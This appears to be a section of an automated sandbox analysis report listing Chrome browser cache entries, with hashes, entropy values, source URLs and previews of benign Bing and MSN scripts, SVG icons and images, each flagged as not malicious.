Preview:	RIFF.r..WEBPVP8X.... ......7..ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (938), with no line terminators
Category:	dropped
Size (bytes):	938
Entropy (8bit):	5.18200878052665
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIzHF+lvyUJ9sq5aOB:BWOWEZP9U6MUEvyUJ9s6
MD5:	DBF771B1F0B05393D18BC55FD6DD94A7
SHA1:	BC4FD6C9EFB2E87D2D30F19DD78C9188B6D76B2D
SHA-256:	F2C5677D58718AE60F7F4E98351643AFEB8AD7FDFE4B2B6AF0B7B63108CB7071
SHA-512:	50B113243923EC8E4432288AE4FDE5B2FD0339C0EE785D33543E2C502F366E33BA99B0B1C0893E78CA23B820B71A9E3E4CBA31F5D865C43A989E3262D869ADCE
Malicious:	false
Reputation:	unknown
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]".concat(t[r],"=[^?&#]*"),"i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.1426352870909255
Encrypted:	false
SSDEEP:	24:tDbU/vj3Dx8DDolDLN9wBWUyDa8uz5fCMe4I/76GVf8wz1vVsG4Iu5Tz1mH38zRO:y/b9EolDLf6WUmUzhvr+76GLz16Jk8tO
MD5:	5E834A775C3B3F93F83F7C48E5286257
SHA1:	7F6D63952326103378DCE69ABDC75A07EECF86AD
SHA-256:	006563DB23523A6369D81FCFA6F3515F0317CF651D74024635D2BFBE694779B8
SHA-512:	D575CF4076626957D2AF68EF808930910969244E989CDB770CE303900471A52ACCC36F52D1C0B1E7605AA4A5DD92ED1DC0540605CAC60C7317E27B7BD2C0EBEE
Malicious:	false
Reputation:	unknown
Preview:	<svg fill="none" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="m19.6667 0c2.3932 0 4.3333 1.94011 4.3333 4.33333v4c0 .55228-.4477 1-1 1s-1-.44772-1-1v-4c0-1.28866-1.0447-2.33333-2.3333-2.33333h-4c-.5523 0-1-.44772-1-1s.4477-1 1-1zm-15.33337 0c-2.39324 0-4.33333 1.94009-4.33333 4.33333v4c0 .55228.44772 1 1 1s1-.44772 1-1v-4c0-1.28866 1.04467-2.33333 2.33333-2.33333h4c.55228 0 1-.44772 1-1s-.44772-1-1-1zm15.33337 24c2.3932 0 4.3333-1.9401 4.3333-4.3333v-4c0-.5523-.4477-1-1-1s-1 .4477-1 1v4c0 1.2886-1.0447 2.3333-2.3333 2.3333h-4c-.5523 0-1 .4477-1 1s.4477 1 1 1zm-19.6667-4.3333c0 2.3932 1.94009 4.3333 4.33333 4.3333h4c.55228 0 1-.4477 1-1s-.44772-1-1-1h-4c-1.28866 0-2.33333-1.0447-2.33333-2.3333v-4c0-.5523-.44772-1-1-1s-1 .4477-1 1zm12-3.6667c2.2092 0 4-1.7908 4-4s-1.7908-4-4-4-4 1.7908-4 4 1.7908 4 4 4zm0-2c-1.1045 0-2-.8955-2-2s.8955-2 2-2 2 .8955 2 2-.8955 2-2 2zm-6-6.66667c.73639 0 1.33333-.59694 1.33333-1.33333 0-.73637-.59694-1.33333-1.33333

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1228), with no line terminators
Category:	downloaded
Size (bytes):	1228
Entropy (8bit):	5.021257455081656
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBE2eyo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBiF6U6C+DLSiL+P
MD5:	04E46D18C015E7C22CB2E4B43DCEFD05
SHA1:	212F9F2089A5F85033160582DCCB1B41A7E4CD15
SHA-256:	A8172A1CD35702E0679AA2FC817640738B09D8C2A1BACF4A132E68D314407744
SHA-512:	E3FD5F578CD864C0B1905C3342C3539CC98D78DE8A4734EB2629558ECA566F464890425250610DE11CB9950C481DDB5C3ABF6557E189D7153461F43FE62D34AD
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/IS-fIIml-FAzFgWC3MsbQafkzRU.js
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem".concat(e++),!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.b

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13209)
Category:	downloaded
Size (bytes):	34737
Entropy (8bit):	5.524612998629534
Encrypted:	false
SSDEEP:	768:hsMy1gQ6f5nHq2bFcNuXVesb0C8LRu048KSE:c1gQ6xndBPXVbs2
MD5:	3B8FCB70AC101E1D74A1D4490434C0F4
SHA1:	35BC203982A9E4034C5ABFD2CD16CE1779B470EC
SHA-256:	1EE6B1F0CAE491D7F368ABB6C0C80D13F511C02152A6E76657A200507A673BA8
SHA-512:	822127F5FBACD6E7B07487CFC4BC9457709C0534848CF8D09573B46E4E652E9F3D7316EFF78DCCA81779B7776BF69ECF803295EE3714C47400771F9C31A67DF2
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-legacy-card-deferred.38f180b2907591f854fe.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-legacy-card-deferred"],{48729:function(t,e,i){i.r(e),i.d(e,{delayLoadLegacyComponent:function(){return ut}});var o=i(33940),n=i(28904),a=i(42590),s=i(99452),l=i(38985),c=i(29422);const g={saveTelemetryTag:"saveButton",cancelTelemetryTag:"cancelButton",fahrenheitTelemetryTag:"fahrenheitRadio",celsiusTelemetryTag:"celsiusRadio",inputTelemetryTag:"locationSearchInput",searchClearTelemetryTag:"searchClear",suggestTelemetryTag:"locationSuggest",detectLocationTelemetryTag:"detectLocationButton"};var r,d,h=i(94537),u=i(90017);!function(t){t[t.Success=1]="Success",t[t.Failure=2]="Failure"}(r\|\|(r={})),function(t){t[t.Fahrenheit=1]="Fahrenheit",t[t.Celsius=2]="Celsius"}(d\|\|(d={}));class p extends n.H{constructor(){super(...arguments),this.showSuggests=!1,this.inputFocused=!1,this.inputClearFocused=!1,this.handleDocumentKeydown=t=>{if(t.defaultPrevented\|\|!this.settingData)ret

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 50x50, components 3
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.145517941301961
Encrypted:	false
SSDEEP:	24:pXSy4bIeyyZg3OZ3UpYo/EaSxkVfOwuXWPRCPO1B:pXz4sVyZrpBtZxkROwuAX
MD5:	840349845B0267FC28B329F5BBFC2BA4
SHA1:	9E8F7CD9172625A7C695E4F955F194AA6A35AD65
SHA-256:	5721EF774EE3BBC132B3C64BB5D3EDC55A6B76173F78288E85190CEC214EF3CF
SHA-512:	53D30E17518F93B7C907A01A84CBEF1C423DD129064DC723FE2318F9F84F8E3E97DAD3E670CDBF8BE21E0DD84C424B16D96D6231AE7DC7E39058C4F0CDDF5331
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,......2.2..".......................................5.........................!.1A.Qq.."2Bar...#4R.bs.....................................................!.............?..ETR5.Vkk..$d7u...R.)h....y..{.rO...e.}.+.{....J.!...T.8O0..:s.[]~..Z...~....q...<.....6;AQ......`.\|].m2...J...+7...:O\....3.v4GU.;....u.(.b....wC.=.H...iJPE)R...."F\|:.s..i@....n4..H._ZR.\|B..k.p.%..k8...-.7.kS...F..KJ.n.e......y,...m..x...i....d..ql....i...7>5E..B.[.9..c..VUk.n.,...J.1...[..iJPxW....u....l.n".}.0.b....2..q....9'..C8.j...q-=.......X.@~..Ax+..\w....Q......L...\n...)......... }5\.)..._8~.mN(o.e.IR~_.MYlvk.....#JDe)..\.K......9'...2.......#.......Cn(. !........:..u-*..;bQ......V.&\izf..U.!..q%I.y.)jO.0y..G..:"iJP)JP(0....;.JR.@..C.)J..)A..

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	4.510163916949154
Encrypted:	false
SSDEEP:	6:6v/lhPahm1lWrg91nyJV1JGOZBouB1eNAWmXcKQ1W1:6v/74+dyJV2O/TDSYsKQ8
MD5:	2CB038DB4D785FBF1014B83723250865
SHA1:	9F146FB8557766B4ECD653CB0FF96DF85FFC0BE0
SHA-256:	AE57256091E86B729C7D6E575DF6C005FAF49B50036E32B63BDF07E5DBAA4B40
SHA-512:	FD938D5B5F055CE0E585922AF1D349AC0D4A1104EA890A871B681633548A9CA80F12C3A7A430D9D3253A465A74EF648CD71FEACCAABBDCF99275EEF1747B73CE
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1ecIHO.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx......Q...C32!..JbC....d..\.\....Z....RJ,..;.7`.._..;.\|g.1...`.w.A.......8.E.2.....=-.E....>...(b....b.....9A.z.Kt..U.....8. P@.-(HS<.C...%h...EM.g].D.B......K...}....C....+\|TJ.T?.....,{........IEND.B`..........................................................................................................................................................................................................................................

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/4L4QdyjTv0HYE2Ig2ol9eYoqxg8.svg
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 138826
Category:	downloaded
Size (bytes):	48749
Entropy (8bit):	7.995400893845683
Encrypted:	true
SSDEEP:	768:sDIdNMzlByAv6HQSjbXQR94rirbAv4J73auxvBlq2gephTCR4OIs5CTvNMpJ:sgN0BngbXQz4OrbAwJOAlq2L1OI+CTWJ
MD5:	A44AEEC685F7CD6F9E0537D91AEAC1B0
SHA1:	779C3A70D1AF7F5239C3D04B369421F02D549D0A
SHA-256:	C3989B68106E064AC98A68A5FA292F82C72C535B85F255FD8025AAFCE7AFA3C0
SHA-512:	9677A07217C73255EA0E4AB4E379AA1D8175D7C5F33BA1E24561BBBF1E1BAFF8C5758A0615B1C782735396C62D2CAA75A86E247262FF2C26677E023AC95D87F4
Malicious:	false
Reputation:	unknown
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_PukjvzWvVsvIJFh4xJhtXA2.js
Preview:	............{_.8.0...).w.cOL..hpp.M.....!azfi...(......4.y?...d.C..s~g...J.T.U.J...k.S......Tz..e.r....x\|yX...?+g......?......2.'....^,F.0..Q...a4.#/.qe....M.(.V.{Q.E..1L....(4...bBu.r.E.S...A..j....J....<.'. L...x..j..K...<....x...+..0..p.T"1...\|$.Cz..v.D%.Ie.F.=..V.!..5....c...?.#.pL.._..b.gs.4....SMkDZ..7.J.V..l}..?....1}......0.......8.TB......^..f..O.w.. ...`.H......'....Og...].q..fb.cK.?...)2.T..a.}.+f....oo...g.'.,v67...~>.....(..M...>....m..;?...s...S.......p........../.......o.........;.=6...`..3....+...[.... ......7....7v...{}....D.w.};.V.......\|.\S..O..i&j.^\|...Jf...6..7};......f}}^...{._.+...n...H.t+..CUzv.U..:.q=............Z.Z\|...2......}........!b....upcE".GA..k@...q.....>.N`O...-3...-..,DMLTY;.......V....e+.>..`..b&n7..'-#FV.W.p.......Xs.(..{Y.}..-...>..E...XQge.X.KP.&......Re...b23v..L.a...7......c.a...9...l..Z.`.F.._%>U.7.."..7.M...N.."....v?.P..c...._G.....d.....\|.e{Z."/...e..!..v/...{{yI_.Dr4!...{.{wg.T.........(..%...+.^..`>.

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1829
Entropy (8bit):	3.958376074234918
Encrypted:	false
SSDEEP:	24:tVvnjuDebkQ/KN8NUfgVNsukQyO/HOOF7ygEjzKzBF6RR2poIugpDco1EISiezGA:rnC2R/74gVNbWgUzKznSooILDpOHxh
MD5:	B006565D5EE6ED73849DDBC655EDEA32
SHA1:	3271C938DF715185E983EA682EFC9C7E870C58E0
SHA-256:	51F195E58525D32BFEC69FB435044246E340540C88CBBAC83501969EF638820E
SHA-512:	6D8126DA32DE2600693541C95A010BA5CB4B9A97401BC7EA335974DB451020677550A05D5379DD5670719B87CBC72B9E519F007769EF1AF1BD3D03C33900635C
Malicious:	false
Reputation:	unknown
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M13.5001 5.00088C14.8255 5.00088 15.91 6.03236 15.9947 7.33639L16 7.50075V13.5001C16 14.8255 14.9685 15.91 13.6645 15.9947L13.5001 16H7.50075C6.17534 16 5.09084 14.9685 5.0062 13.6645L5.00088 13.5001V7.50075C5.00088 6.17534 6.03236 5.09084 7.33639 5.0062L7.50075 5.00088H13.5001ZM13.5001 6.00083H7.50075C6.7211 6.00083 6.08038 6.59569 6.00769 7.3563L6.00083 7.50075V13.5001C6.00083 14.2798 6.59569 14.9205 7.3563 14.9932L7.50075 15.0001H13.5001C14.2798 15.0001 14.9205 14.4052 14.9932 13.6446L15.0001 13.5001V7.50075C15.0001 6.7211 14.4052 6.08038 13.6446 6.00769L13.5001 6.00083ZM10.5004 7.00078C10.7459 7.00078 10.95 7.17764 10.9924 7.41088L11.0004 7.50075L10.9994 10.0005L13.5005 10.0006C13.7766 10.0006 14.0004 10.2245 14.0004 10.5006C14.0004 10.746 13.8236 10.9502 13.5903 10.9925L13.5005 11.0006L10.9994 11.0004L11.0004 13.5005C11.0004 13.7766 10.7766 14.0004 10.5004 14.0004C10.255 14

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/KC_nX2_tPPyFvVw1RK20Yu1FyDk.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14531)
Category:	downloaded
Size (bytes):	23513
Entropy (8bit):	5.562038741110365
Encrypted:	false
SSDEEP:	384:yW3v4ktWbI+jGE6f9WH4K81QS48CwosaadJgYK0M2a1Fgqid4CgBTFMSRO1U7z+r:yI4ktWbI+jGVlWH48SdVlnJw0Mr1FqUi
MD5:	0C849C0A6E556F06CA3DE2553CC5B804
SHA1:	23B69798BC7B8FB9FE3EE81AC470EA1C25AFE890
SHA-256:	2A162D9F7AAFC2C070F80BEA655394714A77EA236CB5C040975C53BEE5B00AB0
SHA-512:	A59D47FB533C63AF12977A5F92CE9147539B85AD1EC32C9F76C2073AB458F01639522EB489E780BAC909DD4E69150BAD2159C68C25FFB6541F774A7F9E9F4AE8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/toast.dc9b88b50f8e7fd0aa01.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["toast"],{76846:function(t,e,o){o.r(e),o.d(e,{ToastEvents:function(){return l},ToastWC:function(){return S},ToastWCStyles:function(){return $},ToastWCTemplate:function(){return Ht},ToolingInfo:function(){return Ot},getBackgroundColor:function(){return T},getColor:function(){return k}});var a=o(45900),s=o(63070);var n=o(33940),i=o(38156);const r={telemetryContracts:{toastCloseButton:{name:"Close",behavior:i.wu.Close,action:i.Aw.Click,type:i.c9.ActionButton}},savedStoriesWithinPersonalizeUrl:"/{locale}/feed/personalize#saves",standaloneSavedStoriesUrl:"/{locale}/feed/personalize/saves",urlBase:"https://www.msn.com",locale:"{locale}",defaultBottomPosition:32},l={ready:"toast-wc-ready"};var c=o(85334),d=o(66925);const p=[];var u=o(83227),h=o(97164),g=o(92531),f=o(18544),w=o(58958),x=o(42689),v=o(38492),b=o(26738),m=o(29717),y=o(92059),C=o(78923);const T=(t=!1,e,o)=>{const a=(0,

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (58239), with no line terminators
Category:	downloaded
Size (bytes):	58445
Entropy (8bit):	5.358711956827798
Encrypted:	false
SSDEEP:	1536:EEL44gJI13TpYgwnTQLuy75yhLKZic1zIpHB6:EU1NVMUOY
MD5:	99B7CC18F2140487AFF3271EAA283D52
SHA1:	309E7E51E0B2E3B108A875C1A9D2FE8BD4BBCCD0
SHA-256:	893AA4EE542B27370A4F6D1108F622DA26C46DB28FA24AF96A90138374029A58
SHA-512:	937FED17D13C5CC725A6C1288F0138DF22CB6622E6E68B31D5FFA20D2AB7F9DFF214DCAC532C9CEB8432D181EAB22C7183BF8A8CF7E9264E091A81B4E493359A
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d5067e.9cd4b604812228585378.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d5067e"],{24474:function(e,t,i){"use strict";i.d(t,{b:function(){return O}});var n=i(33379),o=i(33940),s=i(56692),r=i(38573);const a=new Set(["...","...","...","...","....","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","......",".......",".....",".......","........"]);function u(e){var t;if("zh-cn"===(null===(t=null==e?void 0:e.language)\|\|void 0===t?void 0:t.toLowerCase())){if(!(null==e?void 0:e.country))return!1;if(null==e?void 0:e.addressLine){if(!(null==e?void 0:e.locality)&&!(null==e?void 0:e.subRegion)&&!(null==e?void 0:e.reg

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	4.769846064020748
Encrypted:	false
SSDEEP:	6:6v/lhPahmtru/sucE9sSwYO8bzPFNaUmujt+yQJld:6v/7/dDYpRNa8Q
MD5:	88FDEBA867664DABC5C40ADAA9640B30
SHA1:	1BFCCA5AD54333779920CB675D9A814750EF26DF
SHA-256:	306A38F1F6BA51824D11C22B183A2D21120B66B50D3E2DFA60A2181A75DCAF09
SHA-512:	C4498290FB3811CC2122393B5D1E059991EDCD1BB76A40E07CFB69FDB07F5B0FC51C300F23B577857397F5EEF72E6CF0E2E76B08CF9EBD55BEC9A981685B8707
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.cY........+....ZY.X)5.R...2R...6.]@...@,..cx..!C@h2.........vn]. $".......M...7.1....AAI....s.:z...U}.X........^...6.f...7...../.?b`ee..}a`bb`...e.....\|....._.\|`......K...2#....!a.p6....g...n.FF..P@R:`......H.."..C......=k...~....IEND.B`.................................................................................................................................................................................................................

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	23471
Entropy (8bit):	7.966359359884777
Encrypted:	false
SSDEEP:	384:eWItG6hWkFT/EmrwCXtLWUHWymJJhBtOvUb1hg/tLiY934aKTqVqvkfcUd3Zb/5k:exJx8mrXXt5LmJBtYUZhgFLi83g2lbdM
MD5:	04C56DD2B22F2C5CF19A6D53CCA6C76E
SHA1:	FF0E74702813EC206B64DF093A6EA1677726645F
SHA-256:	094775A794E227D1569FB612A94D2EC0C58CBF9C10B68BA8C782580FBADC525C
SHA-512:	D859E611EAF4ACEC6E8D898566DAE8C61CE3AF6324B35880898578525F09B1419983FE79A398A5C480DFE8CDF7D9D5F9D414A28DE02D23799991CEBBB9AD062B
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.1ea0977d879a5cef001600a92af32387&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..ks....+..n..&6.6.....n."..t..........W......3..U..gR;U.<b.\|{U..M....8..Y7.....tH~......1.RqLjM.{7.1..G..I~.X..#..K.AL.T.!....L..u_........z..P......./u._G..kU.......+.._...`.SZ1.(.Q)V..\|.q..Ho../.F.F..6a.I.T...q_Iyk.(1F..R.1.?.T.\|.s...Lw.K..K.+P....>......../.L.<..ZN...&.s...:.....O".\\|..$`.V..k..k....K.S......T.....S..../.....=X0?.W....b..&}..W.riv....L}

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561), with no line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.889905545792464
Encrypted:	false
